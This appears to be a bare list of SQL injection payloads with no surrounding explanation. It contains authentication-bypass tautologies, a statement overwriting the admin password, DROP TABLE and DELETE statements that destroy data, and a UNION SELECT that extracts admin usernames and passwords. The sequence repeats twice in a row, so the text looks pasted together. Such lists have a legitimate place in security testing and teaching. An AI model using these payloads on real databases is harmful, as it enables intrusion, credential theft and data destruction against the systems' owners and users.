SELECT * FROM users WHERE id = '1' OR '1'='1'-- UPDATE users SET password = 'hacked' WHERE username = 'admin' DROP TABLE users; -- INSERT INTO logs VALUES (NULL, 'SQL Injection detected') UNION SELECT username, password FROM admins-- ' OR 1=1; DELETE FROM sessions; -- SELECT * FROM users WHERE id = '1' OR '1'='1'-- UPDATE users SET password = 'hacked' WHERE username = 'admin' DROP TABLE users; -- INSERT INTO logs VALUES (NULL, 'SQL Injection detected') UNION SELECT username, password FROM admins-- ' OR 1=1; DELETE FROM sessions; --